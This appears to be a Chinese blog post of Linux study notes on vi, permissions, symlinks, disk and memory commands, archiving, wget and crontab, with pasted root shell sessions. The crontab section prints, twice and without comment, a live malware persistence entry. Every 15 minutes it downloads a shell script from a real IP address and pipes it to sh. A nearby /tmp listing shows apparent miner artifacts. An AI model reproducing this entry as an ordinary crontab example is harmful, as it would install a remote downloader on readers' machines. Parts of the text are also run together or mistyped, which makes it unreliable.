-Linux-4
1.vi
命令行模式:
dd 刪除當前行
dG 刪除光標所在行及以下的所有行
ndd 刪除光標所在行及以下的n-1行
gg 跳轉到第一行的首字母
G 跳轉到最后一行的首字母
shift+$ 行尾
0 行首
G shift+$ shift+a/i 想要跳轉到最后1行編輯
set nu 設置行號
set nonu 取消行號
2 vi清空xxx文件
gg+dG 真正清空 0字節 但是文件內容假如很大 加載肯定很慢 cat /dev/null > 123.log 真正清空 0字節 兩個都是偽清空命令,還剩1字節。 需注意檢查字節。echo "" > xxx.logecho '' > xx.log3.權限
chown 改變用戶 用戶組
chmod 改變讀寫執
基本內容:
第一位字母: d文件夾 -文件 l連接r 讀4 w寫2 x 執行 1 shell腳本 - 0 沒有任何權限 drwxr-xr-x 3 root root 4096 Jun 20 22:42 chenqian 第一組 rwx 7 代表文件和文件夾所屬的 用戶的權限: 讀寫執 第二組 r-x 5 代表文件和文件夾所屬的 用戶組的權限: 讀執 第三組 r-x 5 代表其他組的所有用戶對這個文件或文件夾權限: 讀執-rw-r--r-- 1 root root 17 Jun 18 22:55 tail22.log 第一組rw- 6代表文件和文件夾所屬的 用戶的權限: 讀寫 第二組r-- 4代表文件和文件夾所屬的 用戶組的權限: 讀 第三組r-- 4 代表其他組的所有用戶對這個文件或文件夾權限: 讀案例
[root@hadoop001 ~]# ll total 169300 -rw-r--r-- 1 root root 2 Jun 20 06:49 1 drwxr-xr-x 3 root root 4096 Mar 15 00:31 1. -rw-r--r-- 1 root root 278 Jun 25 11:13 123.log drwxr-xr-x 2 root root 4096 Jun 20 18:32 20180620 drwxr-xr-x 3 root root 4096 Jun 18 12:38 20190618 drwxr-xr-x 3 root root 4096 Jun 20 22:42 chenqian drwxr-xr-x 7 root root 4096 Mar 17 22:39 chenxiaoer drwxr-xr-x 2 root root 4096 Mar 16 23:31 chenyi drwxr-xr-x 2 root root 4096 Mar 14 23:19 d drwxr-xr-x 2 root root 4096 Jun 21 12:20 d66 -rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz drwxr-xr-x 2 root root 4096 Mar 17 22:56 root drwxr-xr-x 3 root root 4096 Mar 19 02:44 ruoze drwxr-xr-x 2 root root 4096 Jun 19 06:37 ruozedata -rw-r--r-- 1 root root 0 Jun 18 22:38 tail1.log -rw-r--r-- 1 root root 8 Jun 18 22:39 tail1.log1 -rw-r--r-- 1 root root 17 Jun 18 22:55 tail22.log -rw-r--r-- 1 root root 3 Jun 18 22:52 tail22.log1 -rw-r--r-- 1 root root 4 Jun 18 22:41 tail2.log -rw-r--r-- 1 root root 8 Jun 18 22:41 tail2.log1 -rw-r--r-- 1 root root 8 Jun 18 22:40 tail2.log2 drwxr-xr-x 7 root root 4096 Mar 16 23:11 test drwxr-xr-x 2 root root 4096 Mar 21 02:07 win [root@hadoop001 ~]# chmod 666 123.log 改變權限 [root@hadoop001 ~]# ll total 169300 -rw-r--r-- 1 root root 2 Jun 20 06:49 1 drwxr-xr-x 3 root root 4096 Mar 15 00:31 1. -rw-rw-rw- 1 root root 278 Jun 25 11:13 123.log drwxr-xr-x 2 root root 4096 Jun 20 18:32 20180620 drwxr-xr-x 3 root root 4096 Jun 18 12:38 20190618 drwxr-xr-x 3 root root 4096 Jun 20 22:42 chenqian drwxr-xr-x 7 root root 4096 Mar 17 22:39 chenxiaoer drwxr-xr-x 2 root root 4096 Mar 16 23:31 chenyi drwxr-xr-x 2 root root 4096 Mar 14 23:19 d drwxr-xr-x 2 root root 4096 Jun 21 12:20 d66 -rw-r--r-- 1 root root 173271626 Jun 24 22:29 jdk-8u45-linux-x64.gz drwxr-xr-x 2 root root 4096 Mar 17 22:56 root drwxr-xr-x 3 root root 4096 Mar 19 02:44 ruoze drwxr-xr-x 2 root root 4096 Jun 19 06:37 ruozedata -rw-r--r-- 1 root root 0 Jun 18 22:38 tail1.log -rw-r--r-- 1 root root 8 Jun 18 22:39 tail1.log1 -rw-r--r-- 1 root root 17 Jun 18 22:55 tail22.log -rw-r--r-- 1 root root 3 Jun 18 22:52 tail22.log1 -rw-r--r-- 1 root root 4 Jun 18 22:41 tail2.log -rw-r--r-- 1 root root 8 Jun 18 22:41 tail2.log1 -rw-r--r-- 1 root root 8 Jun 18 22:40 tail2.log2 drwxr-xr-x 7 root root 4096 Mar 16 23:11 test drwxr-xr-x 2 root root 4096 Mar 21 02:07 win [root@hadoop001 ~]# chown chenqian:chenqian 123.log 改變用戶和用戶組 [root@hadoop001 ~]# ll total 169300 -rw-r--r-- 1 root root 2 Jun 20 06:49 1 drwxr-xr-x 3 root root 4096 Mar 15 00:31 1. -rw-rw-rw- 1 chenqian chenqian 278 Jun 25 11:13 123.log總結:哪怕將權限改為000,對root超級管理員也沒有限制。只是需加!強制保存。對普通用戶有限制。報錯權限受限。
chmod +x xxx 缺點:用戶用戶組文件三個地方都會加上你加的某個權限 chmod u+x xxx u代表用戶,代表只在用戶加某個權限針對文件夾操作 :chown chmod -R參數
chown -R jepson:jepson ruozedata
chmod -R 777 ruozedata 777代表所有人都有最大權限 讀寫執
4.軟連接
ln -s xxx rz [root@hadoop001 hahahah]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1 drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2 [root@hadoop001 hahahah]# ln -s 1.1 rz [root@hadoop001 hahahah]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1 drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2 lrwxrwxrwx 1 root root 3 Jun 27 16:48 rz -> 1.1 [root@hadoop001 hahahah]# rm -rf rz [root@hadoop001 hahahah]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1 drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2 [root@hadoop001 hahahah]# ln -s 1.2 rz [root@hadoop001 hahahah]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 27 16:47 1.1 drwxr-xr-x 2 root root 4096 Jun 27 16:46 1.2 lrwxrwxrwx 1 root root 3 Jun 27 16:48 rz -> 1.2 [root@hadoop001 hahahah]#適用場景:
1.多版本
2.硬盤
注意 :所屬的權限 用戶 用戶組的變化 修正
磁盤:/ 根目錄一般生產上 最多的是100G
[root@hadoop001 ~]# df -h 查看磁盤空間 文件系統 空間 使用 可用 百分比 Filesystem Size Used Avail Use% Mounted on /dev/vda1 20G 4.6G 14G 25% / tmpfs 1.9G 0 1.9G 0% /dev/shm /dev/vdb 20G 44M 19G 1% /data[root@hadoop001 ~]# free -m 看內存多少兆完全的 使用的 空閑的 共享的 緩沖區 緩存total used free shared buffers cached Mem: 3769 1885 1884 0 159 1479 -/+ buffers/cache: 245 3523 Swap: 511 0 511 free -g 看內存多少兆,無太大意義[root@hadoop001 ~]# top load average: 2.22, 2.11, 2.121分鐘 5分鐘 15分鐘 生產上3項相加 <=10 表示 系統還行 >10 系統cpu負載高 就是卡 shutdown -n now 立即關機 reboot 重啟 等1min ping ip5.解壓壓縮
zip -r xxx.zip xxx/* unzip xxxzip案例總結:我在解壓過程中,報錯:-bash: unzip: command not found,原因是因為我沒有安裝unzip,進行安裝即可了。
[root@hadoop001 ruozedata]# ll total 4 -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip [root@hadoop001 ruozedata]# unzip 123.zip -bash: unzip: command not found [root@hadoop001 ruozedata]# yun -y install unzip -bash: yun: command not found [root@hadoop001 ruozedata]# yum -y install unzip Loaded plugins: fastestmirror Setting up Install Process Loading mirror speeds from cached hostfile 10gen | 1.2 kB 00:00 base | 3.7 kB 00:00 centosplus | 3.4 kB 00:00 contrib | 2.9 kB 00:00 epel | 4.7 kB 00:00 extras | 3.4 kB 00:00 updates | 3.4 kB 00:00 updates/primary_db | 4.7 MB 00:01 Resolving Dependencies --> Running transaction check ---> Package unzip.x86_64 0:6.0-5.el6 will be installed --> Finished Dependency ResolutionDependencies Resolved====================================================================Package Arch Version Repository Size ==================================================================== Installing:unzip x86_64 6.0-5.el6 base 152 kTransaction Summary ==================================================================== Install 1 Package(s)Total download size: 152 k Installed size: 324 k Downloading Packages: unzip-6.0-5.el6.x86_64.rpm | 152 kB 00:00 Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running TransactionInstalling : unzip-6.0-5.el6.x86_64 1/1 Verifying : unzip-6.0-5.el6.x86_64 1/1 Installed:unzip.x86_64 0:6.0-5.el6 Complete! [root@hadoop001 ruozedata]# unzip 123.zip Archive: 123.zipextracting: 123/1.log [root@hadoop001 ruozedata]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 28 11:02 123 -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip 不會看命令幫助:tar --helptar.gztar -xzvf xxx.tar.gz 解壓tar -czvf xxx.tar.gz XXXt/* 壓縮 [root@hadoop001 ruozedata]# ll total 8 drwxr-xr-x 2 root root 4096 Jun 28 11:02 123 -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip [root@hadoop001 ruozedata]# tar -czvf 123.tar.gz 123/* 壓縮 123/1.log [root@hadoop001 ruozedata]# ll total 12 drwxr-xr-x 2 root root 4096 Jun 28 11:02 123 -rw-r--r-- 1 root root 113 Jun 28 11:16 123.tar.gz -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip [root@hadoop001 ruozedata]# rm -rf 123 [root@hadoop001 ruozedata]# ll total 8 -rw-r--r-- 1 root root 113 Jun 28 11:16 123.tar.gz -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip [root@hadoop001 ruozedata]# tar -xzvf 123.tar.gz 解壓 123/1.log [root@hadoop001 ruozedata]# ll total 12 drwxr-xr-x 2 root root 4096 Jun 28 11:17 123 -rw-r--r-- 1 root root 113 Jun 28 11:16 123.tar.gz -rw-r--r-- 1 root root 168 Jun 28 10:40 123.zip6.wget
wget 下載連接地址 cdh tar hadoop-2.6.0-cdh5.16.1. [root@hadoop001 ruozedata]# wegt http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.16.1.tar.gz sz 下載到window, rz 上傳到linux7.調度:crontab
[root@hadoop001 tmp]# crontab -e 編輯 [root@hadoop001 tmp]# crontab -l 查看 */15 * * * * (/usr/bin/dywvfa3||/usr/libexec/dywvfa3||/usr/local/bin/dywvfa3||/tmp/dywvfa3||curl -m180 -fsSL http://110.40.14.13:8000/i.sh||wget -q -T180 -O- http://110.40.14.13:8000/i.sh) | sh*依次代表:分/小時/日/月/周 * * * * * /tmp/data.sh >> /tmp/data.log 代表每一分鐘執行一次 [root@hadoop001 ~]# tail -F /tmp/data.log 實時查看,每一分鐘執行一次 www.ruozedata.com Fri Jun 28 12:10:01 CST 2019 www.ruozedata.com Fri Jun 28 12:11:01 CST 2019 www.ruozedata.com Fri Jun 28 12:12:01 CST 2019 案例:1.每隔2分鐘正確寫法:*/2 * * * * [root@hadoop001 tmp]# crontab -e crontab: installing new crontab [root@hadoop001 tmp]# crontab -l */15 * * * * (/usr/bin/dywvfa3||/usr/libexec/dywvfa3||/usr/local/bin/dywvfa3||/tmp/dywvfa3||curl -m180 -fsSL http://110.40.14.13:8000/i.sh||wget -q -T180 -O- http://110.40.14.13:8000/i.sh) | sh*/2 * * * * /tmp/data.sh >> /tmp/data.log 正確寫法[root@hadoop001 ~]# tail -F /tmp/data.log Fri Jun 28 12:17:01 CST 2019 www.ruozedata.com Fri Jun 28 12:18:01 CST 2019 www.ruozedata.com Fri Jun 28 12:20:01 CST 2019 www.ruozedata.com Fri Jun 28 12:22:01 CST 2019案例:每隔10秒執行一次,vi編輯for循環,相當于每10秒休息一次
[root@hadoop001 tmp]# vi data.sh 編輯for循環 [root@hadoop001 tmp]# cat data.sh #!/bin/bashfor((i=1;i<=6;i++)) 編輯內容 do echo "www.ruozedata.com" date sleep 10s doneexit[root@hadoop001 ~]# tail -F /tmp/data.log 查看 Fri Jun 28 12:32:01 CST 2019 www.ruozedata.com Fri Jun 28 12:32:11 CST 2019 www.ruozedata.com Fri Jun 28 12:32:21 CST 2019 www.ruozedata.com Fri Jun 28 12:32:31 CST 2019 www.ruozedata.com Fri Jun 28 12:32:41 CST 2019 www.ruozedata.com Fri Jun 28 12:32:51 CST 2019創建腳本
[root@hadoop001 /]# cd /tmp [root@hadoop001 tmp]# ll total 1052680 -rwxr-xr-x 1 root root 840944 Jun 27 06:03 disable -rwxr-xr-x 1 root root 3349408 Jun 27 06:06 HT8sUy -rw-r--r-- 1 root root 0 Jun 27 06:03 kthrotlds -rw-r--r-- 1 root root 0 Jun 27 06:03 name -rw-r--r-- 1 root root 0 Jun 27 06:03 php -rw------- 1 root root 536870912 Mar 14 23:24 swapfile -rw------- 1 root root 536870912 Mar 14 23:26 swapfile2019 -rw-r--r-- 1 root root 0 Jun 27 06:03 systemd -rw-r--r-- 1 root root 0 Jun 27 06:03 thisxxs -rw-r--r-- 1 root root 0 Jun 27 06:03 watchdogs -rw-r--r-- 1 root root 0 Jun 27 06:03 xc.x86_64 [root@hadoop001 tmp]# vi data.sh 創建一個腳本 #!/bin/bash echo "www.ruozetada.com" date 日期 編輯內容+日期[root@hadoop001 tmp]# ll total 1052684 -rw-r--r-- 1 root root 46 Jun 28 11:48 data.sh 腳本 -rwxr-xr-x 1 root root 840944 Jun 27 06:03 disable -rwxr-xr-x 1 root root 3349408 Jun 27 06:06 HT8sUy -rw-r--r-- 1 root root 0 Jun 27 06:03 kthrotlds -rw-r--r-- 1 root root 0 Jun 27 06:03 name -rw-r--r-- 1 root root 0 Jun 27 06:03 php -rw------- 1 root root 536870912 Mar 14 23:24 swapfile -rw------- 1 root root 536870912 Mar 14 23:26 swapfile2019 -rw-r--r-- 1 root root 0 Jun 27 06:03 systemd -rw-r--r-- 1 root root 0 Jun 27 06:03 thisxxs -rw-r--r-- 1 root root 0 Jun 27 06:03 watchdogs -rw-r--r-- 1 root root 0 Jun 27 06:03 xc.x86_64 [root@hadoop001 tmp]# ./data.sh 執行查看,也可全路徑 -bash: ./data.sh: Permission denied 沒權限 給用戶組加權限: chmod u+x data.sh [root@hadoop001 tmp]# sh data.sh 不受限,神奇 www.ruozedata.com 可查看 Fri Jun 28 11:49:30 CST 2019 [root@hadoop001 tmp]#8后臺執行
不用前面加#注銷
./date.sh & 并不是真正后臺執行,可能是會話
挖礦 wget 卸載
總結
- 上一篇: openssl版本信息和支持的命令
- 下一篇: 泰山服务器 oracle数据库,泰山之巅